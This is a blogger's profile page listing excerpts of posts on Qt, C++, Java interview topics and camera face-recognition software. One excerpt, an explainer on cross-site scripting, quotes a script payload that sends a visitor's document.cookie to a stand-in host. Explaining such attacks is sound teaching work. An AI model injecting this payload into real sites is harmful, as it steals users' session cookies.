自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

编程大魔王

12年的软件编程经验,精通Python爬虫,大数据分析,图像识别,C++,Java系统软件开发和设计

  • 博客(51)
  • 资源 (9)
  • 收藏
  • 关注

原创 网络监控相机人脸识别介绍(二)

软件界面大体设计和布局新增功能项:人脸管理,人脸注册,相机设置配置,本地密码设置,数据操作等功能https://download.csdn.net/download/xb531501826/12109120如有下载速度慢或者不能下载的 加我 QQ 531501826 或 私信我...

2020-01-17 13:11:32 310

原创 网络监控相机人脸识别介绍(一)

项目介绍一,基本功能:1, 1~16画面自由切换2,陌生人抓怕,在库人员抓拍界面现时3,摄像头usb,各种网络监控相机自由配置4,各种继电器串口命令配置5 ,多人脸比对控制,单人脸比对控制,活体验证控制,串口开关控制,陌生人语音播报控制,陌生人抓拍显示控制,在库人员抓拍控制。二,系统要求:win7,8,10 64位操作系统软件性能:软件效果速度跟CPU处理及处理...

2020-01-13 10:49:44 1810

原创 python数据结构和算法(2)

1.11 命名切片1.12 序列中出现次数最多的元素1.13 通过某个关键字排序一个字典列表1.14 排序不支持原生比较的对象1.15 通过某个字段将记录分组1.16 过滤序列元素1.17 从字典中提取子集1.18 映射名称到序列元素1.19 转换并同时计算数据1.20 合并多个字典或映射

2022-08-25 09:49:12 259 1

原创 python数据结构和算法(1)

Python 提供了大量的内置数据结构,包括列表,集合以及字典。大多数情况下使用这些数据结构是很简单的。但是,我们也会经常碰到到诸如查询,排序和过滤等等这些普遍存在的问题。在迭代操作或者其他操作的时候,怎样只保留最后有限几个元素的历史记录?

2022-08-25 09:38:15 260

原创 QT如何操作EXCEL(13 )

qt如何读写excelpro 配置文件:QT += core axcontainerQT -= guiCONFIG += c++11TARGET = QtExcelCONFIG += consoleCONFIG -= app_bundleTEMPLATE = appSOURCES += main.cpp \ ExcelManger.cppHEADERS += \ ExcelManger.h////////////////////////////////////////main.cpp/

2022-07-07 15:11:49 538

原创 QT 对高分屏不同缩放比例的自适应处理方法(12)

//方法1:在main函数的最前面加上下面这句 5.6版本才开始有这个函数#if (QT_VERSION > QT_VERSION_CHECK(5,6,0))QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);//开启高缩放支持以后图片可能发虚还要开启下面这个属性QCoreApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);#endif//方法2:在可执行文件同目录下新建文件 q

2022-07-07 14:48:05 2263

原创 java攻击原理面试

跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会被渲染成以下形式:<p><script>location.href="//

2022-07-02 13:46:06 265

原创 集群面试详解

集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个节点。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:负载均衡器运行过程包含两个部分:1. 轮询(Round Robin)轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1,(2, 4, 6) 的请求会被发送到服务器 2。该算法

2022-07-02 13:42:08 150

原创 分布式面试详解

在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否处于锁定状态。存在以下几个问题:使用 SETNX(set if not exist)指令插入一个键值对,如果 Key 已经存在,那么会返回 False,否则插入成功并

2022-06-30 11:26:03 364

原创 Java IO 面试详解

Java 的 I/O 大概可以分成以下几类:File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。递归地列出一个目录下所有文件:public static void listAllFiles(File dir) { if (dir == null || !dir.exists()) { return; } if (dir.isFile()) { System.out.println(dir.getName()); retu

2022-06-29 16:31:13 306

原创 java虚拟机详解

记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小,在 JDK 1.4 中默认为 256K,而在 JDK 1.5+ 默认为 1M:java -Xss2M HackTheJava该区域可能抛出以下异常:本地方法栈与 Java 虚

2022-06-29 16:25:59 464

原创 Java 并发详解<三>

多个线程不管以何种方式访问某个类,并且在主调代码中不需要进行同步,都能表现正确的行为。线程安全有以下几种实现方式:不可变(Immutable)的对象一定是线程安全的,不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来,永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下,应当尽量使对象成为不可变,来满足线程安全。不可变的类型:对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。public class Immutab

2022-06-28 13:33:18 106

原创 Java 并发详解<二>

当多个线程可以一起工作去解决某个问题时,如果某些部分必须在其它部分之前完成,那么就需要对线程进行协调。在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待,直到目标线程结束。对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法,b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先于 b 线程的输出。public class JoinExample { private class A extends Thre

2022-06-28 13:30:09 178

原创 Java 并发详解<一>

有三种使用线程的方法:实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务,不是真正意义上的线程,因此最后还需要通过 Thread 来调用。可以理解为任务是通过线程驱动从而执行的。需要实现接口中的 run() 方法。public class MyRunnable implements Runnable { @Override public void run() { // ... }}使用 Runnable 实例再创建一个 T

2022-06-28 13:22:30 85

原创 java基础知识面试题目

八大基本数据类型基本数据类型转换关系:byte→short(char)→int→long→float→double所谓包装类,就是能够直接将简单类型的变量表示为一个类,在执行变量类型的相互转换时,我们会大量使用这些包装类。以下用途new Integer(123) 与 Integer.valueOf(123) 的区别在于:缓冲池包装类型内存使用 private static class IntegerCache,声明一个内部使用的缓存池在 jdk 1.8 所有的数值类缓冲池中,Integer 的缓冲池

2022-06-24 09:07:32 205

原创 Java分布式事务之基础篇

数据库事务(简称:事务),是数据库管理系统执行过程中的一个逻辑单位,由一个有限的数据库操作序列构成,这些操作要么全部执行,要么全部不执行,是一个不可分割的工作单位。数据库事务的几个典型特性:原子性(Atomicity )、一致性( Consistency )、隔离性( Isolation)和持久性(Durabilily),简称就是ACID。传统的单服务器,单关系型数据库下的事务,就是本地事务。本地事务由资源管理器管理,JDBC事务就是一个非常典型的本地事务。 innodb事务日志包括redo log和und

2022-06-22 16:51:13 340

原创 Java集合面试详解

可以从它们的底层数据结构、效率、开销进行阐述哈Collection.sort是对list进行排序,Arrays.sort是对数组进行排序。Collections.sort底层实现Collections.sort方法调用了list.sort方法 list.sort方法调用了Arrays.sort的方法 因此,Collections.sort方法底层就是调用的Array.sort方法Arrays.sort底层实现Arrays的sort方法,如果比较器为null,进入sort(a)方法。如下: 因此,Arr

2022-06-22 16:43:53 341

原创 程序员面试十大建议

专业知识是最为重要的一点,拥有了坚实的专业基础,你才能迈向成功的彼岸。因此,面试之前,一定一定要复习好专业知识。对自己学过的知识,要做一个概括,放在脑海中。茶余饭后,复习一下,做到随便看到一道基础题目,心中都能有个答案。比如,一道最基本基础题,ArrayList和LinkedList有什么区别?如果你是做Java后台开发的,应该都会了吧。你在简历上的信息,就是面试官了解你的窗口。你写上去的项目,自己一定一定要了解清楚来龙去脉。如果把别人很厉害的项目copy上去,面试官一问你三不知,那就露馅啦~同时,简历上需

2022-06-22 15:35:50 188

原创 Java学习书单

1、Java编程思想本书赢得了全球程序员的广泛赞誉,即使是最晦涩的概念,作者都会用小而直接的编程示例讲解明白。从Java的基础语法到最高级特性(深入的面向对象概念、多线程、自动项目构建、单元测试和调试等),本书都能逐步指导你轻松掌握。这是一本从工作原理和工程实践两个维度深入剖析JVM的著作,是计算机领域公认的经典。3、Head First 设计模式本书涵盖了23个设计模式,例子简单易懂,抛砖引玉,读起来很有意思的。真的是一本非常赞的设计模式入门书籍4、Effective java本书一共包含90个条目,每个

2022-06-21 13:22:58 519

原创 Java之Spring Boot面试总结

spring boot 面试技巧

2022-06-20 17:26:43 126

原创 Java之Spring面试总结

1,什么是 Spring 框架?Spring 是一款开源的轻量级 Java 开发框架,旨在提高开发人员的开发效率以及系统的可维护性。我们一般说 Spring 框架指的都是 Spring Framework,它是很多模块的集合,使用这些模块可以很方便地协助我们进行开发。比如说 Spring 自带 IoC(Inverse of Control:控制反转) 和 AOP(Aspect-Oriented Programming:面向切面编程)、可以很方便地对数据库进行访问、可以很方便地集成第三方组件(电子邮件,任务,

2022-06-20 17:10:33 183

原创 程序员如何写简历之项目篇(二)

1,程序员面试通用项目介绍 2,程序员面试通用后端项目介绍 3,程序员面试通用移动端和前端介绍

2022-06-18 13:40:47 3520

原创 程序员如何写简历之简介篇(一)

1,程序员简历通用简介 2,程序员通用简历后端简介 3,程序员通用简历前端与移动端简介

2022-06-18 13:30:36 2409

原创 机器学习/人工智能开源项目整理<一>

机器学习/人工智能开源项目清单

2022-06-17 18:29:51 565

原创 机器学习/人工智能开源项目整理<一>

一份关于机器学习/人工智能开源项目整理清单

2022-06-17 18:26:45 1610

原创 Java开源项目合集<二>

1、advanced-java 该项目内容涵盖高并发、分布式、高可用、微服务、海量数据处理等领域知识。适合java中级和高级开发工程师阅读。2、JustAuth 它仅仅是一个第三方授权登录的工具类库,号称史上最全的第三方登陆类库,它可以让我们脱离繁琐的第三方登录 SDK,让登录变得So easy!3 spring-boot-demo 是一个用来深度学习并实战 的项目,目前总共包含 个集成demo,已经完成 个。该项目已成功集成 actuator()、admi

2022-06-16 10:57:38 303

原创 Java开源项目合集<一>

1、java高并发秒杀项目 这是一个教你如何使用 Java 语言来设计高并发大流量秒杀架构的项目,需要学习的小伙伴需要先了解、、、、 、, 一份涵盖大部分Java程序员所需要掌握的核心知识,面试技巧,知识拓展和学习等。3、Spring Boot 实践指南 这个当前版本中最全的spring boot 学习指南 ,里面涵盖了Spring Boot知识点整理、工程实践,并结合工作案例进行深入。4、EasyExcel EasyExcel是一个基于Java的简单、省内存的读写Excel的开源项目。在尽可能节约内存的情

2022-06-16 09:30:40 760

原创 QT有影响力的主页博客推荐和学习网站

一 博客推荐(1)QtWidget开源demo集合 (点击可以进入页面详情介绍) 该集合中主要记录了我们再实际应用开发中用到的各种控件,很多功能可以直接拿到项目开发中使用,用户只关系逻辑处理,不需要再关系界面展示问题了。其中部份QT控件可以根据自己的需求进行修改。(2)QtQuick/Qml开源demo集合 (点击可以进入页面详情介绍) 这是一个QtQuick/Qml组件库,集成了常用的QtQuick组件,并做了适当的属性封装、功能扩展,以方便开发Qml程序。实现原理可以参考《玩转Qml》系列教程。(3)

2022-06-15 13:14:38 418

原创 QFile读写文件的时候如何提高文件读写效率(11)

QFile读写文件的时候如何提高文件读写效率

2022-06-15 10:10:35 1661

原创 QWebEngineView控件使用异常问题(10)

QWebEngineView控件使用异常问题

2022-06-14 16:30:54 1597

原创 QZipReader,QZipWriter使用说明(9)

QZipReader,QZipWriter使用说明

2022-06-14 16:27:29 2496

原创 QVariant,QT信号槽,QTextEdit右键菜单,Qt中有个全局的焦点切换的实用技巧(8)

QVariant,QT信号槽,QTextEdit右键菜单,Qt中有个全局的焦点切换的实用技巧

2022-06-14 16:16:16 261

原创 Qt封装的QDateTime日期时间类(7)

Qt封装的QDateTime日期时间类非常强大,可以字符串和日期时间相互转换,也可以毫秒数和日期时间相互转换,还可以1970经过的秒数和日期时间相互转换等。

2022-06-14 16:08:32 1518

原创 QT处理TCP连接心跳包问题(6)

QT处理TCP连接心跳包问题

2022-06-14 15:51:39 1169

原创 Qt中继承QWidget之后,样式表不起作用解决方法(5)

Qt中继承QWidget之后,样式表不起作用解决方法

2022-06-14 15:31:31 1550

原创 qt 在pro中判断Qt版本及构建套件位数(4)

qt 在pro中判断Qt版本及构建套件位数

2022-06-14 15:25:23 3360

原创 QT判断编译器类型、编译器版本、操作系统(3)

QT判断编译器类型、编译器版本、操作系统

2022-06-14 15:13:41 1237

原创 QT利用QComboBox的addItem的第二个参数设置用户数据,可以实现很多效果,使用itemData取出来(2)

善于利用QComboBox的addItem的第二个参数设置用户数据,可以实现很多效果

2022-06-14 15:02:36 4113 3

原创 qt在pro文件中增加版本的基本信息(1)

QT在pro文件中可以写上版本号、程序图标、产品名称、版权所有、文件说明等信息

2022-06-14 10:08:35 1037

原创 QT 扫雷程序介绍和开发(五)

扫雷程序主要应用了C++开发语言和QT框架,其中应用了大量的UI部件已经事件处理等,代码包中给了大量的注释,方便小伙伴阅读和理解项目思维导图 地图类主要用于创建生产地图mine.h mine.cpp主界面主要创建界面UI,控制窗口事件MainWindow.hmainwindow.cpp总结例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。...............

2022-06-13 18:11:11 1446

LVideoFace-Local1.16.64.003.rar

主要用于网络相机监控开发和使用。实现了多网络相机,人脸识别,活体识别,开闸机,画面设置,UI设置等...

2020-01-17

Qt开发的管理系统.rar

数据库涉及,ui设计,excel, 用户名登陆,数据库增删改查

2019-05-21

QT Css设计器

基于QT 的一款设计工具,里面包括了三个工具,主要是用来设计Css样式,做出QT精美界面的神器

2019-02-25

身份证客户端SDK

身份证解析动态库调用,非常简单,安全可靠只需要调用对应接口即可

2018-07-17

算法导论中文版

该书彻底的解决了大多数程序员对算法的认识,提高了代码的利用性和效率,是C++程序员必看之书

2012-10-25

多线程编程指南

该书详细的介绍了有关线程的只是,如何开线程,线程的解锁枷锁,如何释放和关闭线程。本书是一本初级书籍适合新书学习!

2012-09-03

库文件的操作

动态连接库是每个程序员都不可少的,亲,这是我的动态链接库你们可以试着放在你们的计算机上就OK了该库已经制作成功

2012-08-31

VS2008软件更新包

该软件可以帮你更好的更新你需要的VS2008,如果是新书该软件是一个更好的选择

2012-08-03

C++高质量编程

好东西大家分享,每个C++程序员不可缺少的一本书,如果你想从事C++编程这是一本很不错的书籍,

2012-08-03

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除